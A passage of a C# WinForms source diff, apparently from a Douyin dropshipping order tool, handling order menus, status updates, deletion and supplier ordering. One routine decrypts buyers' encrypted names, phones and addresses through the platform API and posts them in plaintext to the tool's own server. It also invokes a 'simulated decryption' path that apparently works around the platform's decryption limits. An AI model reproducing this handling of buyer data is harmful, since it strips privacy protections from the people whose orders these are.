DataGridViewCellMouseEventArgs mouseEvent; + private void contextMenuStrip1_ItemClicked(object sender, ToolStripItemClickedEventArgs e) + { + if (mouseEvent == null) + { + return; + } + //orderListDgv.Rows[mouseEvent.RowIndex].DefaultCellStyle.BackColor = Color.SkyBlue; + var orderId = DgvOrderList.Rows[mouseEvent.RowIndex].Cells["col_order_id"].Value.ToString(); + if (e.ClickedItem.Text == "编辑") + { + DouYinOrderModel orderDetail = CollectionClass.orderDataList.Find(x => x.order_id == orderId); + OrderEdit ed = new OrderEdit(); + ed.buyOrderListForm = this; + ed.orderDetail = orderDetail; + ed.ShowDialog(); + } + if (e.ClickedItem.Text == "等待上家发货")//0已完成 1待拍单 2等待上家发货 3上家已发货 4售后 + { + updateStatus(orderId, 2); + } + if (e.ClickedItem.Text == "上家已发货") + { + updateStatus(orderId, 3); + } + if (e.ClickedItem.Text == "发货完成") + { + updateStatus(orderId, 0); + } + } + + + private void MenuItem_Click(object sender, EventArgs e) + { + ToolStripMenuItem tsmenu = sender as ToolStripMenuItem; + if (mouseEvent == null) + { + return; + } + var buyOrderId = "0"; + if (mouseEvent.RowIndex >= 0) + buyOrderId = DgvOrderList.Rows[mouseEvent.RowIndex].Cells["col_order_id"].Value.ToString(); + switch (tsmenu.Text) + { + case "编辑": + if (buyOrderId == "0") + return; + DouYinOrderModel orderDetail = CollectionClass.orderDataList.Find(x => x.order_id == buyOrderId); + OrderEdit ed = new OrderEdit(); + ed.buyOrderListForm = this; + ed.formtype = 2; + ed.orderDetail = orderDetail; + ed.ShowDialog(); + break; + case "等待上家发货": + if (buyOrderId == "0") + return; + updateStatus(buyOrderId, 2); + break; + case "上家已发货": + if (buyOrderId == "0") + return; + updateStatus(buyOrderId, 3); + break; + case "发货完成": + if (buyOrderId == "0") + return; + updateStatus(buyOrderId, 0); + break; + case "发货(直接发货)": + if (buyOrderId == "0") + return; + ExpressOrderForm exp = new ExpressOrderForm(); + exp.buyOrderId = buyOrderId; + exp.mainform = mainform; + exp.types = 1; + exp.ShowDialog(); + break; + case "更新订单": + if (!threadUpadateOrder) + { + Task.Run(() => { updateOrderDetail(); }); + } + else + { + BaseMsgForm.ShowInfo("订单更新中,请等待当前更新任务完成。", "提示"); + } + break; + case "更新姓名": + if (!threadUpadateOrder) + { + Task.Run(() => { updateOrderDetail(UpdateOrderType.UpdateName); }); + } + else + { + BaseMsgForm.ShowInfo("订单更新中,请等待当前更新任务完成。", "提示"); + } + break; + case "更新电话": + if (!threadUpadateOrder) + { + Task.Run(() => { updateOrderDetail(UpdateOrderType.UpdateMobile); }); + } + else + { + BaseMsgForm.ShowInfo("订单更新中,请等待当前更新任务完成。", "提示"); + } + break; + case "更新收件地址": + if (!threadUpadateOrder) + { + Task.Run(() => { updateOrderDetail(UpdateOrderType.UpdateAddress); }); + } + else + { + BaseMsgForm.ShowInfo("订单更新中,请等待当前更新任务完成。", "提示"); + } + break; + case "删除订单": + deleteOrder(); + break; + } + } + + bool threadUpadateOrder = false; + void updateOrderDetail(UpdateOrderType updateOrderType = UpdateOrderType.None) + { + List list_orderid = new List(); + var rows = this.DgvOrderList.SelectedCells.Cast().Select(c => c.OwningRow).Distinct().ToList(); + Thread.Sleep(1000); + foreach (DataGridViewRow dgvrows in rows) + { + list_orderid.Add(dgvrows.Cells["col_order_id"].Value.ToString()); + } + threadUpadateOrder = true; + try + { + int upNum = 0; + Invoke(new Action(() => + { + pnlUpdateOrderInfo.Visible = true; + pnlUpdateOrderInfo.Location = new Point(pnlUpdateOrderInfo.Parent.Width / 2 - pnlUpdateOrderInfo.Width / 2, pnlUpdateOrderInfo.Parent.Height / 2 - pnlUpdateOrderInfo.Height / 2); + })); + foreach (string orderid in list_orderid) + { + upNum++; + Invoke(new Action(() => + { + pnlUpdateOrderInfo.Text = "正在更新订单" + upNum + "/" + list_orderid.Count; + pnlUpdateOrderInfo.Location = new Point(pnlUpdateOrderInfo.Parent.Width / 2 - pnlUpdateOrderInfo.Width / 2, pnlUpdateOrderInfo.Parent.Height / 2 - pnlUpdateOrderInfo.Height / 2); + })); + + #region 更新订单 + DouYinOrderModel douYinOrderModel = CollectionClass.orderDataList.Find(x => x.order_id == orderid); + UpdateOrderStatusAndEncrypt(douYinOrderModel, updateOrderType); + if (list_orderid.Count > 1) + Thread.Sleep(Randomx.GetId(500, 1500)); + #endregion + } + } + catch (Exception) + { + } + Invoke(new Action(() => + { + pnlUpdateOrderInfo.Visible = false; + })); + threadUpadateOrder = false; + } + + /// + /// 更新订单状态和解密 + /// + public void UpdateOrderStatusAndEncrypt(DouYinOrderModel douYinOrderModel, UpdateOrderType updateOrderType = UpdateOrderType.UpdateAll) + { + DouShopLoginInfo shop = CollectionClass.DouShopLoginList.Find(x => x.ShopId == douYinOrderModel.shop_id.ToString()); + if (douYinOrderModel != null) + { + if (shop != null) + { + DouyinApi dyapi = new DouyinApi(shop); + Dictionary dic = new Dictionary() { }; + dic.Add("shop_order_id", douYinOrderModel.order_id); + dyapi.JsonData = dic; + string htmljm = dyapi.GetOrderDetail(); + string code = JObject.Parse(htmljm)["code"]?.ToString(); + if (code == "10000") + { + var skuArr = JObject.Parse(htmljm)["data"]["shop_order_detail"]["sku_order_list"]; + foreach (JObject jObj in skuArr) + { + var jStr = jObj.ToString(); + string subOrderId = BaseRegex.GetStringJson(ref jStr, "order_id"); + if (subOrderId != douYinOrderModel.order_id) + continue; + var refundStatus = BaseRegex.GetStringJson(ref jStr, "refund_status"); // 退款状态:0-无需退款 1-待退款 2-退款中 3-退款成功 4-退款失败 + var afterSaleStatus = BaseRegex.GetStringJson(ref jStr, "after_sale_status"); + if (refundStatus != "0" && afterSaleStatus != "28") + { + BaseMsgForm.ShowInfo("订单 " + subOrderId + " 退款中,建议去售后列表处理!"); + } + } + // 订单状态1 待确认/待支付(订单创建完毕)105 已支付 2 备货中 101 部分发货 3 已发货(全部发货)4 已取消 5 已完成(已收货) + string order_status = JObject.Parse(htmljm)["data"]["shop_order_detail"]["order_status"].ToString(); + // 3 已发货(全部发货)4 已取消 5 已完成(已收货) + if (order_status == "3" || order_status == "4" || order_status == "5") + { + StringBuilder sb = new StringBuilder(); + sb.Append("&order_id=" + douYinOrderModel.order_id); + if (order_status == "4") + sb.Append("&order_status_buy=4"); + else + sb.Append("&order_status_buy=0"); + sb.Append("&is_update_order=1"); // 1修改状态0不修改状态 + sb.Append("&remark=" + douYinOrderModel.remark); + string url = BaseClass.DouYinBuildObjString("order&act=update"); + GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + sb.ToString()); + CollectionClass.orderDataList.Remove(douYinOrderModel); + SetOrderEditShowInDgvRows(douYinOrderModel, 2); + } + else if (order_status.ParseToInt() > 1 && updateOrderType != UpdateOrderType.None) + { + StringBuilder sb = new StringBuilder(); + if (douYinOrderModel.name.Contains("解密失败") || douYinOrderModel.name.Contains("#1##") || douYinOrderModel.name == "******" || + douYinOrderModel.mobile.Contains("解密失败") || douYinOrderModel.mobile.Contains("$1$$") || douYinOrderModel.mobile == "******" || + douYinOrderModel.address.Contains("解密失败") || douYinOrderModel.address.Contains("#1##") || douYinOrderModel.address == "******") + { + #region 解密 + string name_encrypt = JObject.Parse(htmljm)["data"]["shop_order_detail"]["encrypt_post_receiver"].ToString(); + string mobile_encrypt = JObject.Parse(htmljm)["data"]["shop_order_detail"]["encrypt_post_tel"].ToString(); + string address_encrypt = JObject.Parse(htmljm)["data"]["shop_order_detail"]["post_addr"]["encrypt_detail"].ToString(); + dic = new Dictionary() { }; + string cipher_infos = "["; + if ((updateOrderType == UpdateOrderType.UpdateAll || updateOrderType == UpdateOrderType.UpdateName) && + (douYinOrderModel.name.Contains("解密失败") || douYinOrderModel.name.Contains("#1##") || douYinOrderModel.name == "******")) + cipher_infos += "{\"auth_id\":\"" + douYinOrderModel.main_order_id + "\",\"cipher_text\":\"" + name_encrypt + "\"},"; + if ((updateOrderType == UpdateOrderType.UpdateAll || updateOrderType == UpdateOrderType.UpdateMobile) && + (douYinOrderModel.mobile.Contains("解密失败") || douYinOrderModel.mobile.Contains("$1$$") || douYinOrderModel.mobile == "******")) + cipher_infos += "{\"auth_id\":\"" + douYinOrderModel.main_order_id + "\",\"cipher_text\":\"" + mobile_encrypt + "\"},"; + if ((updateOrderType == UpdateOrderType.UpdateAll || updateOrderType == UpdateOrderType.UpdateAddress) && + (douYinOrderModel.address.Contains("解密失败") || douYinOrderModel.address.Contains("#1##") || douYinOrderModel.address == "******")) + cipher_infos += "{\"auth_id\":\"" + douYinOrderModel.main_order_id + "\",\"cipher_text\":\"" + address_encrypt + "\"}"; + cipher_infos = cipher_infos.TrimEnd(',') + "]"; + dic.Add("cipher_infos", cipher_infos); + string expname = douYinOrderModel.name, expmobile = douYinOrderModel.mobile, expaddress = douYinOrderModel.address; + if (shop != null) + { + DouyinApi apix = new DouyinApi(shop); + apix.JsonData = dic; + string htmljm_h = apix.GetOrderBatchDecrypt(); + string codejm = JObject.Parse(htmljm_h)["code"]?.ToString(); + if (codejm == "10000") + { + var jArrJM = JObject.Parse(htmljm_h)["data"]["decrypt_infos"]; + foreach (var itemjm in jArrJM) + { + string cipher_text = JObject.Parse(itemjm.ToString())["cipher_text"].ToString(); + if (cipher_text == name_encrypt) + { + expname = JObject.Parse(itemjm.ToString())["decrypt_text"].ToString(); + } + else if (cipher_text == mobile_encrypt) + { + expmobile = JObject.Parse(itemjm.ToString())["decrypt_text"].ToString(); + } + else + { + // 省 + string province = JObject.Parse(htmljm)["data"]["shop_order_detail"]["post_addr"]["province"]["name"].ToString(); + // 市 + string city = JObject.Parse(htmljm)["data"]["shop_order_detail"]["post_addr"]["city"]["name"].ToString(); + // 区 + string town = JObject.Parse(htmljm)["data"]["shop_order_detail"]["post_addr"]["town"]["name"].ToString(); + // 街道 + string street = JObject.Parse(htmljm)["data"]["shop_order_detail"]["post_addr"]["street"]["name"].ToString(); + // 完整地址 + expaddress = province + city + town + street + JObject.Parse(itemjm.ToString())["decrypt_text"].ToString(); + } + + //姓名 JObject.Parse(htmljm)["data"]["shop_order_detail"]["encrypt_post_receiver"].ToString() + //电话 JObject.Parse(htmljm)["data"]["shop_order_detail"]["encrypt_post_tel"].ToString() + //省 JObject.Parse(htmljm)["data"]["shop_order_detail"]["post_addr"]["province"]["name"].ToString() + //市 JObject.Parse(htmljm)["data"]["shop_order_detail"]["post_addr"]["city"]["name"].ToString() + //区 JObject.Parse(htmljm)["data"]["shop_order_detail"]["post_addr"]["town"]["name"].ToString() + //街道 JObject.Parse(htmljm)["data"]["shop_order_detail"]["post_addr"]["street"]["name"].ToString() + //详细地址 JObject.Parse(htmljm)["data"]["shop_order_detail"]["post_addr"]["encrypt_detail"].ToString() + } + } + else + { + // 已达到店铺解密上限或其他原因 + expname = "解密失败" + BaseRegex.GetStringJson(ref htmljm_h, "sub_msg"); + } + } + douYinOrderModel.name = expname; + douYinOrderModel.mobile = expmobile; + douYinOrderModel.address = expaddress; + #endregion + sb.Append("&name=" + GetHtml.UrlEncodeUtf8(expname)); + sb.Append("&mobile=" + GetHtml.UrlEncodeUtf8(expmobile)); + sb.Append("&address=" + GetHtml.UrlEncodeUtf8(expaddress)); + } + douYinOrderModel.remark = JObject.Parse(htmljm)["data"]["shop_order_detail"]["seller_words"].ToString(); + sb.Append("&order_id=" + douYinOrderModel.order_id); + sb.Append("&remark=" + douYinOrderModel.remark); + sb.Append("&is_update_order=0"); // 1修改状态0不修改状态 + string url = BaseClass.DouYinBuildObjString("order&act=update"); + string htmjg = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + sb.ToString()); + douYinOrderModel.remark = JObject.Parse(htmljm)["data"]["shop_order_detail"]["seller_words"].ToString(); + SetOrderEditShowInDgvRows(douYinOrderModel, 1); + } + } + } + + // 模拟解密,暂不开放 + if (douYinOrderModel.name.Contains("解密失败") || douYinOrderModel.mobile.Contains("#1##") || douYinOrderModel.mobile == "******") + { + Task.Run(() => + { + if (shop != null && douYinOrderModel != null) + { + if (BaseClass.isUseSimGetRealAddress) + { + mainform.GetRealAddressSim(shop, douYinOrderModel); + } + else + { + } + } + }); + } + } + } + + void deleteOrder() + { + var result = MessageBox.Show("确认删除选中的" + DgvOrderList.SelectedRows.Count + "条订单吗?", "提示", MessageBoxButtons.YesNo, MessageBoxIcon.Warning); + if (result != DialogResult.Yes) + { + return; + } + string orderids = ""; + for (int i = 0; i < DgvOrderList.Rows.Count; i++) + { + if (DgvOrderList.SelectedRows.Count > 0) + { + if (DgvOrderList.Rows[i].Selected == true) + { + orderids = DgvOrderList.Rows[i].Cells["col_order_id"].Value.ToString() + "," + orderids; + } + } + } + CollectionClass.orderDataList.RemoveAll(o => ("," + orderids).Contains("," + o.order_id + ",")); + + orderids = orderids.TrimEnd(','); + if (DgvOrderList.SelectedRows.Count > 0) + { + string urlx = BaseClass.LoginApiUrl + "?obj=douyin/order&act=delete"; + string datax = "&order_id=" + orderids; + string html = GetHtml.PostUtf8(urlx, UserLogin.GetSignaturex("", "") + datax); + if (!string.IsNullOrEmpty(html)) + { + if (JObject.Parse(html)["code"].ToString() == "200") + { + for (int i = DgvOrderList.Rows.Count - 1; i >= 0; i--) + { + List listorderid = orderids.Split(',').ToList(); + if (listorderid.Contains(DgvOrderList.Rows[i].Cells["col_order_id"].Value.ToString())) + { + CollectionClass.orderDataList.RemoveAll(x => x.order_id == DgvOrderList.Rows[i].Cells["col_order_id"].Value.ToString()); + DgvOrderList.Rows.RemoveAt(i); + } + } + BaseMsgForm.ShowInfo("删除成功", "提示"); + RefreshPage(); + } + else + { + BaseMsgForm.ShowInfo("删除失败", "提示"); + } + } + else + { + BaseMsgForm.ShowInfo("删除失败", "提示"); + } + } + } + + + public void updateStatus(string order_id, int status) + { + if (status != 1) + { + DouYinOrderModel orderDetail = CollectionClass.orderDataList.Find(x => x.order_id == order_id); + if (orderDetail != null) + { + mainform.chaqi(order_id, 3, orderDetail.shop_id.ToString()); + } + else + { + return; + } + } + StringBuilder sb = new StringBuilder(); + sb.Append("&order_id=" + order_id); + sb.Append("&order_status_buy=" + status); + sb.Append("&is_update_order=1");//1修改状态0不修改状态 + string upjmurl = BaseClass.DouYinBuildObjString("order&act=update"); + string html = GetHtml.PostUtf8(upjmurl, UserLogin.GetSignaturex() + sb.ToString()); + string code = JObject.Parse(html)["code"].ToString(); + + IEnumerable enumerableList = this.DgvOrderList.Rows.Cast(); + List list = (from item in enumerableList where item.Cells["col_order_id"].Value.ToString() == order_id select item).ToList(); + this.DgvOrderList.Rows.RemoveAt(list[0].Index); + + DouYinOrderModel dyorderModel = CollectionClass.orderDataList.Find(x => x.order_id == order_id); + CollectionClass.orderDataList.RemoveAll(x => x.order_id == order_id); + CollectionClass.orderSenderDataList.Add(dyorderModel); + mainform.sendOrderForms.SetOrderEditShowInDgvRows(dyorderModel, 1); + } + + private void orderListDgv_CellMouseDown(object sender, DataGridViewCellMouseEventArgs e) + { + 更新姓名ToolStripMenuItem.Visible = false; + 更新电话ToolStripMenuItem.Visible = false; + 更新收件地址ToolStripMenuItem.Visible = false; + + if (e.RowIndex < 0) + return; + + try + { + mouseEvent = e; + + var row = DgvOrderList.Rows[mouseEvent.RowIndex]; + var orderid = row.Cells["col_order_id"]?.Value?.ToString(); + if (string.IsNullOrEmpty(orderid)) + return; + DouYinOrderModel douYinOrderModel = CollectionClass.orderDataList.Find(x => x.order_id == orderid); + if (douYinOrderModel == null) + return; + + var col = e.ColumnIndex < 0 ? null : DgvOrderList.Columns[e.ColumnIndex]; + var receiverName = douYinOrderModel.name; // row.Cells["col_name"].Value.ToString(); + var receiverMobile = douYinOrderModel.mobile; // row.Cells["col_mobile"].Value.ToString(); + var receiverAddress = douYinOrderModel.address; // row.Cells["col_address"].Value.ToString(); + + if (col?.HeaderText == "姓名" && (receiverName.Contains("解密失败") || receiverName.Contains("#1##") || receiverName == "******")) + { + 更新姓名ToolStripMenuItem.Visible = true; + } + if (col?.HeaderText == "电话" && (receiverMobile.Contains("解密失败") || receiverMobile.Contains("$1$$") || receiverMobile == "******")) + { + 更新电话ToolStripMenuItem.Visible = true; + } + if (col?.HeaderText == "地址" && (receiverAddress.Contains("解密失败") || receiverAddress.Contains("#1##") || receiverAddress == "******")) + { + 更新电话ToolStripMenuItem.Visible = true; + } + if (receiverName.Contains("解密失败") || receiverName.Contains("#1##") || receiverName == "******" || + receiverMobile.Contains("解密失败") || receiverMobile.Contains("$1$$") || receiverMobile == "******" || + receiverAddress.Contains("解密失败") || receiverAddress.Contains("#1##") || receiverAddress == "******") + { + 更新订单ToolStripMenuItem.Visible = true; + } + } + catch (Exception) + { + + } + + } + + private void orderListDgv_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + string orderid = DgvOrderList.Rows[e.RowIndex].Cells["col_order_id"].Value.ToString(); + string shopid = DgvOrderList.Rows[e.RowIndex].Cells["col_shop_id"].Value.ToString(); + string name = DgvOrderList.Columns[e.ColumnIndex].HeaderText; + string upproductid = ""; + if (DgvOrderList.Rows[e.RowIndex].Cells["col_up_product_id"].Value != null) + { + upproductid = DgvOrderList.Rows[e.RowIndex].Cells["col_up_product_id"].Value.ToString(); + } + + if (name == "手机拍单") + { + if (string.IsNullOrEmpty(upproductid)) + { + BaseMsgForm.ShowError("没有上家,无法进行拍单"); + return; + } + string status = GetOrderStatusl(orderid); + if (!string.IsNullOrEmpty(status) && status != "2") + { + BaseMsgForm.ShowError("不是备货中的订单,无法拍单。"); + return; + } + DouYinOrderModel orderDetail = CollectionClass.orderDataList.Find(x => x.order_id == orderid); + + this.UpdateOrderStatusAndEncrypt(orderDetail); + + BuyOrderForms.IniAddress(); + + string address = orderDetail.address.Replace("\n", ""); + string province = ""; + string provinceId = ""; + string city = ""; + string cityId = ""; + string district = ""; + string districtId = ""; + BuyOrderForms.MatchAddress(ref address, ref province, ref provinceId, ref city, ref cityId, ref district, ref districtId); + + var shop = CollectionClass.DouShopLoginList.Find(x => x.ShopId == shopid); + string data = @"{""order_id"":""" + orderid + + @""",""shop_name"":""" + GetHtml.UrlEncodeUtf8(shop.ShopName) + + @""",""up_goods_id"":""" + upproductid.Replace("pdd-", "").Replace("pd-", "") + + @""",""pay_name"":""" + GetHtml.UrlEncodeUtf8(orderDetail.name) + + @""",""pay_phone"":""" + orderDetail.mobile + + @""",""province"":""" + GetHtml.UrlEncodeUtf8(province) + + @""",""city"":""" + GetHtml.UrlEncodeUtf8(city) + + @""",""town"":""" + GetHtml.UrlEncodeUtf8(district) + + @""",""address"":""" + GetHtml.UrlEncodeUtf8(address) + + @""",""goods_spec"":""" + GetHtml.UrlEncodeUtf8(orderDetail.sku) + + @""",""order_price"":""" + orderDetail.price + + @""",""created_time"":""" + orderDetail.create_time + + @"""}"; + + var url = BaseClass.DouYinBuildObjString("phone_order&act=add"); + string html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex(true) + "¶ms=" + data); + if (html.Contains("\"code\":200")) + { + if (html.Contains("数据同步完成")) + BaseMsgForm.ShowInfo("推送成功!"); + else if (html.Contains("数据已存在")) + BaseMsgForm.ShowInfo("已推送,请勿重复推送"); + } + } + if (name == "开始拍单") + { + if (string.IsNullOrEmpty(upproductid)) + { + BaseMsgForm.ShowError("没有上家,无法进行拍单"); + return; + } + string status = GetOrderStatusl(orderid); + if (!string.IsNullOrEmpty(status) && status != "2") + { + BaseMsgForm.ShowError("不是备货中的订单,无法拍单。"); + return; + } + DouYinOrderModel orderDetail = CollectionClass.orderDataList.Find(x => x.order_id == orderid); + + BuyOrderForms buyOrderForms = new BuyOrderForms(); + buyOrderForms.buyOrderListForm = this; + buyOrderForms.sendOrderForms = mainform.sendOrderForms; + buyOrderForms.UpId = upproductid; + buyOrderForms.orderDetail = orderDetail; + buyOrderForms.productsku = DgvOrderList.Rows[e.RowIndex].Cells["col_sku"].Value.ToString(); + buyOrderForms.order_id = orderid; + buyOrderForms.goodsId = upproductid.Replace("pdd-", "").Replace("pd-", "").Replace("tb-", "").Replace("al-", "").Replace("1688-", "").Replace("dy-", "").ParseToLong(); + if (buyOrderForms.goodsId == 0) + { + BaseMsgForm.ShowError("未匹配到上家编号"); + } + if (upproductid.StartsWith("al-") || upproductid.StartsWith("1688-")) + { + buyOrderForms.Width = 1380; + buyOrderForms.Height = 768; + } + buyOrderForms.mainform = mainform; + buyOrderForms.Show(); + } + else if (name == "订单号") + { + DouShopLoginInfo shop = CollectionClass.DouShopLoginList.Find(x => x.ShopId == shopid); + if (shop != null) + { + ShopForms.ShopBrower shopBrower = new ShopForms.ShopBrower(); + shopBrower.TitleText = "店铺后台"; + shopBrower.shop = shop; + shopBrower.WindowState = FormWindowState.Maximized; + shopBrower.webUrl = "https://fxg.jinritemai.com/ffa/morder/order/detail?id=" + orderid; + shopBrower.Show(); + } + } + } + string GetOrderStatusl(string orderid) + { + DouYinOrderModel douYinOrderModel = CollectionClass.orderDataList.Find(x => x.order_id == orderid); + DouShopLoginInfo shop = CollectionClass.DouShopLoginList.Find(x => x.ShopId == douYinOrderModel.shop_id.ToString()); + if (douYinOrderModel != null) + { + if (shop != null) + { + DouyinApi dyapi = new DouyinApi(shop); + Dictionary dic = new Dictionary() { }; + dic.Add("shop_order_id", douYinOrderModel.order_id); + dyapi.JsonData = dic; + string htmljm = dyapi.GetOrderDetail(); + string code = JObject.Parse(htmljm)["code"]?.ToString(); + if (code == "10000") + { + // 3 已发货(全部发货) + // 2 备货中(待发货) + string order_status = JObject.Parse(htmljm)["data"]["shop_order_detail"]["order_status"].ToString(); + return order_status; + } + else + { + var msg = BaseRegex.GetStringJson(ref htmljm, "sub_msg"); + if (!string.IsNullOrEmpty(msg)) + { + BaseMsgForm.ShowError(msg.Replace("access_token已过期", "店铺 " + shop.ShopName + " 授权已过期,请重新授权")); + } + } + } + } + return ""; + } + /// + /// 更新列订单显示 + /// + /// + /// 1 添加 修改 2删除 3更新佣金 + public void SetOrderEditShowInDgvRows(DouYinOrderModel douYinOrderModel, int type) + { + Invoke(new Action(() => + { + if (douYinOrderModel != null) + { + if (douYinOrderModel.order_status_buy != 1) + { + mainform.chaqi(douYinOrderModel.order_id, 3, douYinOrderModel.shop_id.ToString()); + } + } + IEnumerable enumerableList = this.DgvOrderList.Rows.Cast(); + List list = (from item in enumerableList where item.Cells["col_order_id"].Value.ToString() == douYinOrderModel.order_id select item).ToList(); + if (type == 1) + { + Bitmap skuImg = GetSkuImage(douYinOrderModel?.sku_img); + TimeSpan ts1; + if (douYinOrderModel.create_time.Contains("-")) + { + ts1 = new TimeSpan(Convert.ToDateTime(douYinOrderModel.create_time).Ticks); + } + else + { + ts1 = new TimeSpan(Convert.ToDateTime(BaseClass.StampToDateTimex(long.Parse(douYinOrderModel.create_time))).Ticks); + } + + TimeSpan ts2 = new TimeSpan(DateTime.Now.AddHours(-48).Ticks); + TimeSpan ts = ts1.Subtract(ts2).Duration(); + DataGridViewRow r = null; + if (list.Count > 0) + { + r = DgvOrderList.Rows[list[0].Index]; + r.Cells["col_name"].Value = douYinOrderModel.name; + r.Cells["col_mobile"].Value = douYinOrderModel.mobile; + r.Cells["col_address"].Value = douYinOrderModel.address; + r.Cells["col_remark"].Value = douYinOrderModel.remark; + } + else + { + var id = DgvOrderList.Rows.Add( + /*"店铺编号"*/douYinOrderModel.shop_id, + /*"店铺名称"*/douYinOrderModel.shop_name, + douYinOrderModel.title, + /*"上家ID"*/(string.IsNullOrEmpty(douYinOrderModel.default_up_ids) ? douYinOrderModel.up_product_id : douYinOrderModel.default_up_ids), + /*"本店ID"*/douYinOrderModel.product_id, + /*"描述"*/douYinOrderModel.c_biz_desc, + /*"规格"*/douYinOrderModel.sku, + /*"图片"*/ skuImg, + /*"售价"*/ douYinOrderModel.price, + /*"进价"*/douYinOrderModel.buy_price, + /*"佣金比例"*/ string.IsNullOrEmpty(douYinOrderModel.commission_scale) || douYinOrderModel.c_biz_desc != "精选联盟" ? "0.00" : douYinOrderModel.commission_scale, + /*"佣金"*/ string.IsNullOrEmpty(douYinOrderModel.commission) || douYinOrderModel.c_biz_desc != "精选联盟" ? "0.00" : douYinOrderModel.commission, + /*"数量"*/douYinOrderModel.count, + /*"买家订单号"*/douYinOrderModel.order_id, + /*"买家姓名"*/douYinOrderModel.name, + /*"买家电话"*/douYinOrderModel.mobile, + /*"买家地址"*/douYinOrderModel.address, + /*"订单确认时间"*/douYinOrderModel.create_time, + /*"延迟发货时间"*/Convert.ToDateTime(douYinOrderModel.create_time).AddHours(48).ToString("yyyy-MM-dd HH:mm:ss"), + /*"延迟剩余"*/ts.Days.ToString() + "天" + ts.Hours.ToString() + "小时" + ts.Minutes.ToString() + "分钟", + "开始拍单", + "手机拍单", + douYinOrderModel.remark); + r = DgvOrderList.Rows[id]; + } + + // 批量一次性上家ID + if (SetOnceOnlyUpIdForm.dicOnceUpId.Keys.Contains(r.Cells["col_order_id"].Value.ToString())) + { + r.Cells["col_up_product_id"].Value = SetOnceOnlyUpIdForm.dicOnceUpId[r.Cells["col_order_id"].Value.ToString()]; + r.Cells["col_up_product_id"].Style.ForeColor = Color.FromArgb(0, 0, 255); + } + } + else if (type == 2) + { + if (list.Count > 0) + { + this.DgvOrderList.Rows.RemoveAt(list[0].Index); + } + + } + else if (type == 3) + { + if (list.Count > 0) + { + var item = list[0]; + item.Cells["commission"].Value = string.IsNullOrEmpty(douYinOrderModel.commission) || douYinOrderModel.c_biz_desc != "精选联盟" ? "0.00" : douYinOrderModel.commission; + item.Cells["commission_scale"].Value = string.IsNullOrEmpty(douYinOrderModel.commission_scale) || douYinOrderModel.c_biz_desc != "精选联盟" ? "0.00" : douYinOrderModel.commission_scale; + } + } + })); + } + + public void UserMsgUpdate(DouYinOrderModel douYinOrderModel) + { + if (douYinOrderModel != null) + { + if (douYinOrderModel.order_status_buy != 1) + { + mainform.chaqi(douYinOrderModel.order_id, 3, douYinOrderModel.shop_id.ToString()); + } + } + IEnumerable enumerableList = this.DgvOrderList.Rows.Cast(); + List list = (from item in enumerableList where item.Cells["col_order_id"].Value.ToString() == douYinOrderModel.order_id select item).ToList(); + if (list.Count > 0) + { + var item = DgvOrderList.Rows[list[0].Index]; + if (item.Cells["col_mobile"].Value.ToString().Contains("解密失败")) + { + item.Cells["col_name"].Value = "解密中......"; + item.Cells["col_mobile"].Value = "解密中......"; + item.Cells["col_address"].Value = "解密中......"; + } + else if (item.Cells["col_mobile"].Value.ToString() == "解密中......") + { + item.Cells["col_name"].Value = "解密失败"; + item.Cells["col_mobile"].Value = "解密失败"; + item.Cells["col_address"].Value = "解密失败"; + } + } + } + public bool SelectOrder(string order_id) + { + IEnumerable enumerableList = this.DgvOrderList.Rows.Cast(); + bool isexist = false; + for (int i = 0; i < DgvOrderList.Rows.Count; i++) + { + string orderid = DgvOrderList.Rows[i].Cells["col_order_id"].Value.ToString(); + string ordermobile = DgvOrderList.Rows[i].Cells["col_mobile"].Value.ToString(); + string orderusername = DgvOrderList.Rows[i].Cells["col_name"].Value.ToString(); + string title = DgvOrderList.Rows[i].Cells["col_title"].Value.ToString(); + string productId = DgvOrderList.Rows[i].Cells["col_product_id"].Value.ToString(); + if (string.IsNullOrEmpty(order_id) || orderid.Contains(order_id) || ordermobile.Contains(order_id) || orderusername.Contains(order_id) || title.Contains(order_id) || productId.Contains(orderid)) + { + DgvOrderList.Rows[i].Visible = true; + isexist = true; + } + else + { + DgvOrderList.Rows[i].Visible = false; + } + } + return isexist; + } + #region 修改dgv列表的自定义总店上家Id1 + public void RreshUpIds(string orderid, string productId) + { + for (int i = 0; i < DgvOrderList.Rows.Count; i++) + { + var item = DgvOrderList.Rows[i]; + var cellproductId = item.Cells["col_product_id"].Value == null ? "" : item.Cells["col_product_id"].Value.ToString(); + if (cellproductId != productId) + { + continue; + } + StringBuilder sb = new StringBuilder(); + sb.Append("&order_id=" + orderid); + string upjmurl = BaseClass.DouYinBuildObjString("order&act=get_detail"); + string param = UserLogin.GetSignaturex() + sb.ToString(); + string html = GetHtml.PostUtf8(upjmurl, param); + string data = JObject.Parse(html)["data"].ToString(); + DouYinOrderModel douYinOrderModel = JsonConvert.DeserializeObject(data.Replace("\r\n", "")); + if (douYinOrderModel != null) + { + DouYinOrderModel dym = CollectionClass.orderDataList.Find(x => x.order_id == orderid); + if (dym != null) + { + CollectionClass.orderDataList.Remove(dym); + CollectionClass.orderDataList.Add(douYinOrderModel); + } + item.Cells["col_up_product_id"].Value = (string.IsNullOrEmpty(douYinOrderModel.default_up_ids) ? douYinOrderModel.up_product_id : douYinOrderModel.default_up_ids); + item.Cells["col_buy_price"].Value = douYinOrderModel.buy_price; + item.Cells["col_count"].Value = douYinOrderModel.count; + item.Cells["col_name"].Value = douYinOrderModel.name; + item.Cells["col_mobile"].Value = douYinOrderModel.mobile; + item.Cells["col_address"].Value = douYinOrderModel.address; + item.Cells["col_remark"].Value = douYinOrderModel.remark; + } + } + } + #endregion + private void orderListDgv_CellMouseEnter(object sender, DataGridViewCellEventArgs e) + { + if (e.RowIndex < 0 || e.ColumnIndex < 0) + return; + + var orderId = DgvOrderList.Rows[e.RowIndex].Cells["col_order_id"].Value.ToString(); + var order = CollectionClass.orderDataList.FirstOrDefault(x => x.order_id == orderId); + if (order != null) + { + if (DgvOrderList.Rows[e.RowIndex].Cells[e.ColumnIndex] == DgvOrderList.Rows[e.RowIndex].Cells["productImgSku"]) + { + try + { + var original = Image.FromStream(System.Net.WebRequest.Create(order.sku_img).GetResponse().GetResponseStream()); + var skuImg = new Bitmap(original, new Size(216, 216)); + mainform.skuimg(skuImg); + } + catch (Exception) + { + } + } + else + { + mainform.skuimghide(); + } + } + } + + private void colore_clicke(object 